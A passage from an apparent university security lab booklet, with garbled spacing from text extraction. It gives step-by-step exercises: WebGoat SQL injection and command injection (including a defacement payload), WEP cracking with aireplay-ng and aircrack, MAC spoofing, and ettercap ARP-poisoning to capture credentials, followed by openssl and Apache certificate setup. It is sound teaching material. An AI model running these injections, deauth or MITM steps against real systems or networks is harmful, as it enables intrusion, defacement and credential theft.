(Username, Password, SUBMIT, s). One of the variables is somehow mysterious

since it makes to sense for us and the value assigned White doesnt either. We

then need to access the source code to understand the way it works. Disable Inter-

cept Requests and click on Accept Changes.

To know how to view to source code we will nee to study the previous requests

of any other lesson. Go to another lesson and intercept the request with WebScarab

and click on Show Java. Carefully study that request to detect how does it know

what source code has to be shown depending on the lesson we are at.

What it does it enable the source flag on the URL that provides the source code

belonging to current lesson, that is why the referrer is used.

Enable Intercept requests and go to The Challenge lesson. On the new window

with the intercepted request you will see the referrer URL (different for each session).

Modify the GET line to change the flag to view current code as we see at the

following example:

GET h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / we bg o at / s o u r c e ? s o u r c e =t r u e HTTP/ 1 . 1

Hos t : 1 2 7 . 0 . 0 . 1 : 8 0 8 0

UserA ge nt : M o z i l l a / 5 . 0 ( Windows ; U ; Windows NT 5 . 1 ; e sES ;

r v : 1 . 8 . 1 . 1 4 ) Gecko / 20 08 04 04 F i r e f o x / 2 . 0 . 0 . 1 4

A c c ep t : te x t /xml , ap p l ic at io n /xml , ap p l ic at io n /xh tml+xml ,

t e x t / h tm l ; q = 0 . 9 , t e x t / p l a i n ; q = 0 . 8 , i ma g e /png ,/ ;q=0.5

AcceptLanguage : ese s , e s ; q=0.8 ,e nu s ; q = 0 . 5 , e n ; q = 0 .3

AcceptE n co d in g : g z i p , d e f l a t e

AcceptCh arse t : ISO88591 , u t f 8;q=0 .7 , ;q=0.7

KeepA l i v e : 3 00


53/111

2.7. The Challenge 47

ProxyCon n e c tion : ke epa l i v e

R e f e r e r : h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / w eb go at / a t t a c k ? S c r e e n =327&

menu=3000Cookie : us er=White ;

JSESSIONID=9535B30DCFEF6ADCF04C0BD3FFC5B6E2

A u th ori z at ion : Basic Z3V lc 3Q6Z3V lc 3Q=

By just doing some research and enabling a flag we could find what we wanted.

Luckily we have been able to view the source code we were interested in. Insidethe code there are clearly visible credentials. Try the credentials on the authentica-

tion form.


54/111


As expected the credentials are correct and we have been able to pass the first

stage.

On the second stage we have to obtain all the credit card numbers that are stored

at the database. Initially the webpage only offers two credit cards and a button to

shop.

Lets try to find a hidden field using WebScarabs Reveal hidden fields or in-

tercepting the request:

If we check the code:

// pu ll the USER_COOKIE from the co ok ie s

S t r i n g u s e r = g e tC o ok i e ( s ) ;

St ri ng query = "SELECT FROM us er _d at a WHERE la st _n ame =

" + u s er + " " ;

We can see that the user is extracted form the cookie, and if we look at the

intercepted request: If you use the transcode with the users cookie variable, you

will obtain the same value of the the hidden, therefore they must be related.


55/111


56/111


Disable the request interception and click on Accept changes.

The SQL injection has worked out correctly and we have all the credit card

numbers. We have successfully passed the second stage.

2.8 The Challenge (Optional part)

On the third stage we need to deface the web page modifying file web-

goat_challenge_guest.jsp. We first need to know where it is and how to modify

it.

Well inject some commands to retrieve the directory we are at. Go to WebGoats

lesson Command Injection.


57/111

2.8. The Challenge (Optional part) 51

Intercept the request using WebScarab and inject one of the following commands

" & l s > a | more a

If this injection works out well see the directory where we are and its contents.

Disable the request interception and click on Accept changes.

NOTE: if it doesnt work you wont see what you expect on the screen. In

that case the deface cant be done using command injection since it doesnt give

any result. Well see below how the deface could be done if the command injection

works out.


58/111


Disable the request interception and click on Accept changes to see the result.

We have found the current directory. We need now to advance to find the file

webgoat_challenge_guest.jsp.

Once we know the directory for the file that we want to modify well use the

lesson Command Injection to perform the deface.

Enable WebGoats request interception and click on View for that lesson.

Disable request interception and modify the contents of variable HelpFile by

the following instruction:

Acc es sC on tr ol Ma tr ix . he lp " \& echo DEFACED ! ! ! ! ! ! >>


59/111


tomcat\webapps\webgoat\webgoat_challenge_guest . jsp

This instruction simply adds the text DEFACED!!!!!! to the file. Go to the

Challenge lesson to check if it worked.


60/111



61/111


If we continue to the next stage well see that we could overcome the challenge


62/111


63/111

Session 3

Security in wireless networks

Contents

3.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

3.2 Environment set up . . . . . . . . . . . . . . . . . . . . . . . . 56

3.3 Breaking WEP encoding . . . . . . . . . . . . . . . . . . . . . 57

3.4 Find the IP range . . . . . . . . . . . . . . . . . . . . . . . . . 59

3.5 MAC filtering . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

3.6 Man In the Middle attack (optional) . . . . . . . . . . . . . . 62

3.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

3.1 Objective

Nowadays there is a massive implantation of wireless networks (standard 802.11)

for corporate, educational and domestic use. This type of network entails a widerange of advantages with respect to traditional ones, but it also supposes a potential

danger if there is a bad configuration, the by default configuration parameters are

not modified or minimums do not apply some levels of security to themselves.

The goal of this session is to study some of the security mechanisms used in

wireless networks and some of the tools normally used in their auditing.

We will study the wireless networks with infrastructure topology. In this mode,

each client of the wireless network sends all his/her communications to an Access

Point (AP). To make an exchange of data, the clients and the access points previ-

ously have to establish a relationship of confidence.

The encryption protocol for wireless networks that we will study it is the WEP.WEP protocol (Wired Equivalent Privacy) applies a set of instructions that combine

text with a sequence of hexadecimal numbers in clear, named encoding key. That key

can be 64 bits or 128 bits long. The 64-bit key (40bits + 24bits for the initialization

vector) consists of 10 hexadecimal digits distributed in two groups of five digits.

The 128 bits key (104bits + 24bits for the initialization vector) they consist of 26

hexadecimal digits distributed in two groups of five digits and four groups of four

digits.

The main problem of this protocol is the implementation of the RC4 algorithm

itself, where the key stream is generated depending on the initialization vectors and

a key stored in the network interface and the access point. In a basic way the


64/111

58 Session 3. Security in wireless networks

problem is the length of the initialization vectors and the method for constructing

these initialization vectors. Due to the great amount of frames that need to be

sent to an access point, it is very probable to find two messages with the sameinitialization vector and therefore it is simple to obtain the key. Increasing the

length of the encoding key only increases the necessary time to break it. Moreover,

there are certain initialization vectors that can bring information about the key

(these initialization vectors are called weak, Weak IV).

Other techniques that normally are used to protect wireless networks are the

occultation of the SSID, the MAC address filtering and the manual supply of an

IP address to the client in the rank of the wireless network. Even though these

techniques are recommended as good practices, they dont guarantee security of the

wireless network as we will see further on. But even if they do not guarantee any

type of security, they make that it is a little more complicated or costly for theattacker the to obtain total access to the wireless network.

To carry out this session we will use the following tools:

Wifislax 3.1: It is a Linux distribution, based on SLAX (in the Slackware Linux

distribution), derivates from the Backtrack distribution with modifications

and additions to support more wireless devices. It is a distribution oriented

at the auditing of wireless networks.

Airodump-ng: it is a tool to capture 802.11 packets and it is useful to accumulate

initialization vectors (IV), necessary to obtain the WEP key.

Aireplay-ng: it is a tool to inject packets. The main function is to generate traffic

in a net to use it later, to obtain the key of a wireless network (WEP and

WPA-PSK).

Aircrack-ng: it is a program to break keys 802.11 WEP and WPA/WPA2-PSK.

Nmap: it is an open source security scanner for TCP and UDP port scanning. It

is useful for evaluating the security of the computer systems; discover services

and equipments in a computer network.

Wireshark: it is an open source protocol analyzer used for carrying out analyses

and solving problems in communications networks. It allows examining the

data of an online network or of the traffic captured on a file.

Ettercap: it is a powerful sniffer designed to carry out of Man In The Middle

attacks. It allows capturing traffic in environments with switch or hub, since

it uses the ARP spoofing technique.

3.2 Environment set up

Boot the virtual machine and choose the first option to start in graphic mode.


65/111

3.3. Breaking WEP encoding 59

Use username root and password toor to start a new session. Verify that the

keyboard is properly configured and change the monitor resolution to a size more

comfortable to work.Connect the antenna in one of the USB ports and connect it to the virtual

machine. Type lsusb to verify that it has been recognized

l s u s b

That should list a device named ZyDAS

i w c o n f i g

Next we set it up in monitor mode and check the configuration

i w c o n f i g w la n0 mode m o n it o ri w c o n f i g

and then activate the associated interface, in our example wlan0.

i f c o n f i g wlan0 up

Use airodump-ng tool to display the available wireless networks and locate on

channel 11 a network named SSIRULEZ

airodumpng c h a n ne l 1 1 w la n0

3.3 Breaking WEP encoding

To begin, we need to capture packets of the target network that we will use later to

break the WEP key. Because of that we will use the tool airodump.

Open a new shell (shell 1) and execute:

airodumpng w r i t e c a p tu r e c h a nn e l 1 1 b s s i d wl an 0

The MAC address of the connected clients will turn up listed under STATION.

What is the address MAC of the client?

These packets will help us later on breaking the key of the network. These pack-

ets remain registered on the file indicated in the moment of starting the airodump

tool, in our case the file capture.

As you will see the packets keep on increasing, although the rhythm is not too

fast. In order to break the WEP key we need many more packets, in this rhythm we

would need many hours to achieve the necessary packets. . To speed up the process,

we will attempt to inject packets into the net to obtain more captured packets and

to increase the possibilities to obtain the key. We will use tool aireplay-ng for that

purpose.


66/111


Open a new shell (shell 2) and write (DO NOT EXECUTE):

a i r e p l a yng d e au t h 1 0 e a c wlan0

Open a new shell (shell 3) and write (DO NOT EXECUTE):

a i r e p l a yng a r p r e p l a y b h wlan0

Keep all three shells open to be able to quickly alternate between them.

Execute first the ARP replay and then the deauthentication command.

In the message of the aireplay (got X ARP requests), you will see that in the

beginning you will have 0 requests and when the attack starts the number will

increase considerably.

On the window of the airodump-ng, we will also see that the data we also start

to increase in a much faster way. Once we have enough packets (#Data = 10000 can

already be sufficient, but normally you will need around 45000), attempt to break

the WEP key using the tool aircrack-ptw.

Open a new shell (shell 4) and execute:

a i r c r a c kptw < c a p t u r e f i l e >. c ap

If we have collected enough data, aircrack will tell us the password. Other-

wise, you must continue capturing traffic with airodump according to the former

procedure.

What is the WEP key ?


67/111

3.4. Find the IP range 61

3.4 Find the IP range

Usually wireless networks are configured with a DHCP server that automatically

provides IP addresses to the connected clients. But some access points are configured

with static IPs and that requires an additional effort by the possible attacker since

it is then necessary to guess the IP range of the attacked network.

In this exercise we will see how we can find the IP range of the AP we want to

access.

First of all, once the WEP password is obtained try to obtain an IP address

using DHCP.

i f c o n f i g w la n0 downi f c o n f i g wlan0 up

i w c o n f i g wlan0 e s s i d "" key mode managed

Use the data previously obtained. To check if the AP accepted your request

dhcpcd wlan0

If there is a DHCP server we have obtained and IP address.

i f c o n f i g wlan0

And find what IP address you have assigned to wlan0. If the address is in therange 169.254.X.X then you have not been successful. Such addresses are assigned

by the operating system when no DHCP response is got. We then need to use a

network sniffer.

Assign any IP to the network device

i f c o n f i g wlan0 1 9 2 . 1 6 8 . 1 . 4 2 netmas k 2 5 5 . 2 5 5 . 2 5 5 . 0

b r oa d ca s t 1 9 2 . 1 6 8 . 1 . 2 5 5 up

Check that the address is correctly assigned

i f c o n f i g wlan0


68/111


Execute wireshark, the network sniffer.

w i r e sh a r k &

A new window is open with several options available. We want to sniff the traffic

passing through the wireless device, press Capture -> Interfaces and you will see

a new window to let you select over what device you want to capture traffic. In our

case select interface wlan0 and then click on Capture. Wait until you get a few

ARP packets and then click on Stop.

On the main wireshark window you will see all network captured data. Sort

these packets by protocol type and observe the ones from ARP protocol.

On a shell assign any IP in the network device range:

i f c o n f i g wlan0 1 9 2 . 1 6 8 . 1 . 4 2 netmask 2 5 5 . 2 5 5 . 0 . 0

b r o a dc a s t 1 9 2 . 1 6 8 . 2 5 5 . 2 5 5 up

Now scan the network to see which IPs are being used and find which is the AP

IP address that we will need to configure as gateway. We will use nmap tool to find

the existing IP addresses

nmap v sP 1 9 2 . 1 6 8 .1 . 12 5 4


69/111

3.5. MAC filtering 63

As you can see it shows a listing of all the currently IPs and the MAC addressassociated. Find the MAC address of the AP, from previous steps, and obtain its

IP address.

What is the IP address of the AP?

What other IP addresses have you found on the network?

3.5 MAC filtering

As we have the key and a configured IP address corresponding to the obtained range

the first step is to check the connection to the access point.

On a shell configure the network card and associate:

i f c o n f i g w la n0 down

i f c o n f i g wlan0 up

iw c o n f ig wlan 0 e s si d "SSIRULEZ" ke y A1: B2: C3: D4: E5 mode m an aged

And now check that the connection is correct

i w c o n f i g w la n0


70/111


And now ping the access point

pi ng

Have you been able to ping the access point?

How many packets have been sent and received?

What is the obtained response time?

Some access points are able to block MAC addresses that have originated suspi-

cious activity on the network, therefore avoiding the association. It is also possible

that the AP has configured a list of MAC addresses to allow them association and

denying it to all the MAC addresses not listed.

To check whether the association problem is because the MAC address of our

device has been blocked we must modify the MAC address of the interface.

i f c o n f i g w la n0 down

macchanger s w la n0

macchanger m wlan0

macchanger s w la n0

If you cannot still connect it means that the AP has a list of permitted MAC

addresses.

Go back and use airodump-ng to obtain the list of clients connected to the target

AP and use macchanger to impersonate a valid client. Try now to ping the Access

point.

What is the response time obtained?Try again to ping the IP of the Access Point.

3.6 Man In the Middle attack (optional)

In this exercise well try to intercept the communication between two computers

connected to a wireless network. We could listen and even modify the messages

without any of the parties noticing it.

We will use wireshark to perform the traffic capture and ettercap to perform the

man in the middle attack. Lets then start by opening wireshrak and choosing the

menu Capture -> Interfaces and capture the wlan0 traffic as we did before.Open now a new shell and start ettercap in graphic mode

e t t e r c a p G &

Once the utility is open use the option Sniff -> Unified Sniff since we want to

intercept the communication with only a network card. Select wlan0 on the new

appearing window and click OK.

Tell ettercap to show the computers connected to the network Hosts -> Scan

for hosts. Once the search is finished we can see the list of hosts Hosts -> Hosts

List.


71/111

3.6. Man In the Middle attack (optional) 65

Select the Access Point and click on Add to Target 1 and the computer you

want to spy and click on Add to Target 2.

Once we have the two computers identified and placed in the middle we are goingto launch a MiTM ARP poisoning attack. Therefore select the option MiTHM ->

ARP poisoning.

Once the new window appears click on Sniff remote connections and OK.

Once the attack is configured we just need to launch it: Start -> Start sniffing.

If you watch wireshark capture window you will see that a lot of ARP traffic is being

captured.

If the two clients establish an authenticated session we can capture the creden-

tials: if one of them is the access point we will capture the authentication made.

Make the client connect using telnet, http, once it is connected stop wireshark.

Watch the captured packets by wireshark and ettercap.


72/111


What protocol has been used?

What is the name and password used?

3.7 References

http://www.wifislax.com/

http://www.aircrack-ng.org

http://ettercap.sourceforge.net/

http://nmap.org/

http://www.wireshark.org/

http://www.sans.org/score/wirelesschecklist.php

http://csrc.nist.gov/publications/nistpubs/800-48/NIST_SP_800-48.pdf

http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf

http://en.wikipedia.org/wiki/IEEE_802.11

http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy


73/111

Session 4

Digital Certificates

Contents

4.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

4.2 Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

4.3 Prepare the environment . . . . . . . . . . . . . . . . . . . . . 65

4.4 Create a certification hierarchy . . . . . . . . . . . . . . . . . 664.4.1 Issue a certification request (CSR file) . . . . . . . . . . . . . 66

4.4.2 Issue the CA certificate out of the pending request . . . . . . 66

4.4.3 Issue the certificate request (and the new key pair associated) 67

4.4.4 Issue the certificate from the pending request . . . . . . . . . 67

4.4.5 Export the servers certificate as well as its private key . . . . 68

4.4.6 Generate a certificate for the user to authenticate against the

web server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68

4.4.7 Export the user certificate and its private key . . . . . . . . . 68

4.4.8 Install the user certificate in a Unix environment . . . . . . . 68

4.5 Apache Configuration . . . . . . . . . . . . . . . . . . . . . . . 684.5.1 Certificate Configuration . . . . . . . . . . . . . . . . . . . . 68

4.5.2 Start the apache web server for non secure connections . . . . 69

4.5.3 Apache configuration to authenticate the server . . . . . . . . 69

4.5.4 Configure a VirtualHost to use SSL . . . . . . . . . . . . . . 69

4.5.5 Enable the new website . . . . . . . . . . . . . . . . . . . . . 70

4.5.6 Client authentication using a digital certificate . . . . . . . . 70

4.1 ObjectiveBecome familiar with openssl as a tool to manage digital certificates, with the

format of digital certificates and the information contained in them, as well as the

tools to manage digital certificates and also with the configuration options of Apache

that allow us to start a web server with a client authentication by means of digital

certificates.

Apache is an HTTP open source server for Unix and Windows operating systems.

mod_sslis a module that allows Apache server to support the SSL protocols (Secure

Sockets Layer) v2/v3 and TLS (Transport Layer Security) v1. It uses the openssl

tool to offer the cryptographic functionalities.


74/111

68 Session 4. Digital Certificates

4.2 Description

For this session we will use the desktop ubuntu linux distribution, we will start itas a live cd (run without installation starting option).

Openssl is a set of utilities to issue and manage asymmet-

ric key pairs, digital certificates in X.509v3 format, CRL, etc.

[http://www.openssl.org/docs/apps/openssl.html] The Linux distribution

available for the sessions has a version at: /usr/bin/openssl Note: in case you

cannot find it there use the command whereis openssl to find it.

As the apache2 server is not included in the desktop Ubuntu distribution, we

install it using the command (sudo apt-get install apapache2). Apache server

will installed at /usr/sbin/apache2. To configure apache2 we will use the files

ports.conf at /etc/apache2 and the VirtualHost configuration files that should be

at /etc/apache2/sites-availabe. On the first file we configure the ports that the

server uses to listen to incoming connections. On the second file we can configure

a behaviour for a website. In our case it will include the options that the server

uses for opening SSL connections and find its private key, its certificate, the CAs

certifictes that it trusts, etc.

To start apache2 and edit some of the configuration files we need root access.

4.3 Prepare the environment

Create a directory structure that allows you to work comfortably:

ssl.key : directory to store the cryptographic keys.

ssl.csr : directory to store the digital certificate requests.

ssl.crt : directory to store the digital certificates.

4.4 Create a certification hierarchy

We will now create our certification hierarchy with only one certification entity: the

Certification Authority. That means creating the root certificate of the CA:

4.4.1 Issue a certification request (CSR file)

By doing it we generate a key pair. The private key will be stored in a file protected

by a password and the public key and the data we want to contain the certificate

will be in the request file.

# o p e ns s l r eq new e x t e n s i o n s v3_ca ke you t

s s l . key/ca_key . pem o u t s s l . c s r / c a _c er tre q .pem

Do not leave blank a non optional field or with its default value.


75/111

4.4. Create a certification hierarchy 69

Edit the contents of the generated files: the one containing the private key an

the one containing the certificate request.

Parse the certificate request using the asn1parse utility from openssl:

# o p e n s s l a s n1 p ar s e i dump i n s s l . c s r / c a_ ce rtreq .pem >

s s l . c s r / c a_ ce r treq . tx t

Edit the resulting file and identify the fields that contain the information given

when generating the request and the public key.

4.4.2 Issue the CA certificate out of the pending request

Note that it will be a self signed certificate

# o p e ns s l r eq

new

x509

i n s s l . c s r / c a_ ce rt

re q .pem

outs s l . c r t / c a _ c e r t . c r t d a ys 3 65 key s s l . key/ca_key . pem

Parse the new certificate and identify the fields containing the information sup-

plied and the public key. We can modify /etc/openssl.cnfto specify the extensions

required in every type of certificates issued but now we will use the configuration

by default.

Now, we will issue a certificate for a web server that will be configured at the

end of this session

4.4.3 Issue the certificate request (and the new key pair associated)

Bear in mind that using the option -extensions you will have to indicate the profile

amongst the ones described in the openssl.cnf file. It wont be v3_ca but v3_req.

Be careful when assigning the Common Name to indicate the host name or IP

address for the requiring server. It is also advisable to use an Organizational Unit

Name which identifies the receiving server, in this case the Apache Web Server.

Warning:

When issuing the new request be careful with the file name not to rewrite

previous requests.

For this exercise assign the Common Name to localhost,

For this exercise we recommend to assign the Organizational Unit Name

field a descriptive name for the receiving server such as Apache Server g111

or similar.

When possible avoid using accents, apostrofs, etc.

Once the request is issued we can check that it is well formed using the command:

# o p e ns s l r eq i n s s l . c s r / s e rv e r_ c er tre q .pem t e x t v e r i f y


76/111


4.4.4 Issue the certificate from the pending request

The issued certificates are not self signed anymore. Therefore we will indicate whichis going to be the private key used to sign the certificate (the one from the CA),

and the CA certificate that will be used to obtain information about the certificate

issuer.

# o p e n s s l x5 09 r e q i n s s l . c s r / s e r v e r_ c er tre q .pem out

s s l . c r t / s e r v e r _ c e r t . c r t d ay s 3 65 CA s s l . c r t / c a _ c e r t . c r t

CAkey s s l . key/ ca_key . pem C A c r e a t e s e r i a l

Parse the new certificate to check that the information is correct:

# o p e n s s l a s n1 p ar s e i dump i n s s l . c r t / s e r v e r _ c e r t . c r t

> s s l . c r t / s e r v e r _ c e r t . t x t

We can verify that the certificate is well formed using the command:

# o p e n s s l x5 09 i n s s l . c r t / s e r v e r _ c e r t . c r t t e x t

4.4.5 Export the servers certificate as well as its private key

We will create a single file that follows the PKCS#12 and that will be protected by

a password.

# o p e n s s l p kc s1 2 e x p o r t i n s s l . c r t / s e r v e r _ c e r t . c r t

i n k e y s s l . k ey / s e r v e r _ k e y . pem o u t s e r v e r _ c e r t . p 12

n a m e " s e r v e r C e r t "

Save this file with .p12 extension and remember the password, you will need it

to configure the apache web server.

4.4.6 Generate a certificate for the user to authenticate againstthe web server

We will proceed as we did for generating the web Server certificate. Notice the

-extensions parameter to indicate the correct profile, as shown in openssl.cnf, for

this certificate which will be v3_req.

4.4.7 Export the user certificate and its private key

We will proceed as we did for the web Server certificate. This file will be delivered

to the user to be installed in its computer.

Warning! Keep this .p12 file safe and dont forget the password because it

will be necessary for the browser client configuration.


77/111

4.5. Apache Configuration 71

4.4.8 Install the user certificate in a Unix environment

Open the Firefox browser. Select Edit -> Preferences -> Advanced -> Encryption

and there ViewCertificates. Inside of Your Certificates clic at Import. Find and

select the corresponding file and import it. The files password will be required.

Once the file is imported check:

The different categories of certificates

The Authorities tab and erase the authorities that you dont trust.

Find the certificate that you have imported, you will see it is not valid. Check

the Certificate Hierarchy in the details tab and you will see that it needs the CA

which issued it: install it. Now check the certificate and see that now it is valid.

4.5 Apache Configuration

4.5.1 Certificate Configuration

Find the .p12 files and the files with the keys and certificates generated before.

Import in the browser (if it is not already imported) the user p12 and the CA self

signed certificate.

4.5.2 Start the apache web server for non secure connections

s udo s e r v i c e a pa ch e2 s t a r t

You will need to have root access to do it. Then start the web browser and

connect to http://127.0.0.1. If you see a presentation page it means that apache is

correctly installed.

To stop the web server

s udo s e r v i c e a pa ch e2 s t op

You can also restart the webserver

s udo s e r v i c e a pa ch e2 r e s t a r t

Warning! Every time you change the configuration of any file you need to

restart the webserver.

4.5.3 Apache configuration to authenticate the server

We want the server to offer its certificate to the browser, then we need to enable

SSL in apache2.

Edit the contents of ports.conf for apache to listen to HTTPS requests: usually

such requests are addressed to ports 443, 4443, etc. The file contents should be


78/111


L i s t en 80

L i s t e n 4 43

You can use the following script to enable the ssl module in apache

s u do a 2enmo d s s l

Now restart apache to load the module.

4.5.4 Configure a VirtualHost to use SSL

Edit the default file at /etc/apache2/sites-available directory to become familiar

with the structure of such files

1. open the file default-ssl

2. The label defines a mask which is used to identify which re-

quests must be addressed to each VirtualHost. Using * we include all re-

quests.

3. The DocumentRoot variable indicates where is the directory tree containing

the web pages for this VirtualHost. You can change the home page contents to

make sure that you are connecting to the SSL configured VirtualHost. Create

/var/www-ssland a new index.htmlfile with a contents different to the default

contents

< h t m l >

< B O DY b g Co l o r = # f ff ff f >

< b o d y > < h 1 > S S I < / h 1 >

< h r >

< h2 > S e rv e r w i th S SL a ct i ve < / h2 > < u l >

< / b o d y >

< / h t m l >

4. Inside of the VirtualHost label verify that it contains SSLEngine on. The

SSLCertificateFilevariable will contain the absolute pathname of the file con-taining the servers certificate. SSLCertificateKeyFile contains the absolute

path for the file containing private key for the server.

4.5.5 Enable the new website

To include this website into the enabled website of the server

#a 2 e n s i t e d e f a ul ts s l

Reload apache2 to read all the changes. If you do not have any error a request

for the password to unblock the servers private key will be prompted.


79/111

4.5. Apache Configuration 73

Try to connect to the URL https://127.0.0.1 and see that by only specifying

https you are requesting a secure connection. If the configuration is correct the

browser will inform you that the server is sending its digital certificate. View thatcertificate and check that it is the one you created in the previous session.

Once you have accepted the certificate you will be able to see the web page

generated in a previous step.

Warning! if you see a warning saying that the name of the server is not the

one on the certificate you can change the file default-ssl to correct the name of the

server at the ServerName variable.

4.5.6 Client authentication using a digital certificate

We will now configure the web server to require a digital certificate from the user

willing to visualize a subdirectory.

1. Create a directive for a directory named private

2. Add inside of the above directive the line SSLVerifyClient for the Server to

require a certificate from the user.

3. Assign 1 to the variable SSLVerifyDepth. It is the maximum length allowed for

the certification chain. In our case the CA directly signs the users certificates.

4. We can add several CAs issuing valid client certificates. Create a special direc-

tory to keep all the CA certificates we are going to trust and assign SSLCAC-

ertificatePath the absolute path of that directory. Any client certificate not

issued by the CAs contained in that directory will be rejected.

5. Restart the server again and try to establish a secure connection to the root

directory and to the private directory. See that the server requests a client

certificate for the private directory.

Apache web server allows filtering by the contents of the certificate fields. We

need to use the SSLRequire variable. See more details for its configuration at

http://www.modssl.org/docs/2.8/ssl_reference.html, you can use the variables de-

fined at http://www.modssl.org/docs/2.8/ssl_reference.html#table3 some of them

are:

SSL_CLIENT_S_DN_OUto refer to the Organization Unit field from the

Distinguished Name at the certificates Subject.

SSL_CLIENT_I_DN_CN to refer to the Common Name field from the

Distinguished Name at the certificates Subject.

You can find detailed information and some examples at the apache web

site: http://httpd.apache.org/docs-2.0/mod/mod_ssl.html and mod_ssl web site:

http://www.modssl.org/docs/2.8/ssl_howto.html


80/111


81/111

Session 5

Introduction to Malware analysis

Contents

5.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

5.2 Laboratory Environment . . . . . . . . . . . . . . . . . . . . . 73

5.3 The malware: a trojan copy of a windows live messenger . 74

5.4 Behavioral analysis . . . . . . . . . . . . . . . . . . . . . . . . 745.5 Network traffic analysis . . . . . . . . . . . . . . . . . . . . . . 77

5.6 Code analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79

5.1 Objectives

In this session, We will introduce you to the approaches for analyzing malware, so

you can turn malicious executable inside out to understand their inner-workings.

Knowing how to analyze malware can b

Documents

Lab Booklet